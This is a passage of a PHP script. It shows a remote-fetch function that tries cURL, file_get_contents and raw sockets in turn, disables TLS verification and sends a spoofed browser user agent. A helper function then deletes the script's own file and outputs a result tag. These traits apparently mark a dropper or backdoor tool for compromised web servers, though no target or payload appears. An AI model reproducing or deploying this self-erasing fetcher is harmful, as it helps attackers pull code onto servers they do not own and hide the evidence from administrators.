		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		$content = curl_exec($ch);
		curl_close($ch);
		return $content;
	}
	elseif(is_callable("file_get_contents") && filter_var(ini_get('allow_url_fopen'), FILTER_VALIDATE_BOOLEAN))
	{
		return file_get_contents($url, false, stream_context_create(array(
			"ssl" => array("verify_host" => false, 
				"verify_peer" => false, 
				"verify_peer_name" => false, 
				"allow_self_signed" => true
				),
			"http" => array(
				"header" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0"
				)
			)));
	}
	elseif(is_callable("fsockopen"))
	{
		if($fp = fsockopen(parse_url($url, PHP_URL_HOST), 80, $e, $e, 15))
		{
			$out ="GET ".parse_url($url, PHP_URL_PATH)." HTTP/1.1\r\n";
			$out.="Host: ".parse_url($url, PHP_URL_HOST)."\r\n";
			$out.="User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0\r\n";
			$out.="\r\n";
			fputs($fp, $out);
			$content = '';
			while(!feof($fp)) {
				$content .= fgets($fp, 1024);
			}
			fclose($fp);        
			return $content;
		}
		else return false;
	}
	else return false;
}

function endik($msg) {
	@unlink(__FILE__);
	$result = '<result>'.$msg.'</result>';
	die($result);
}
?>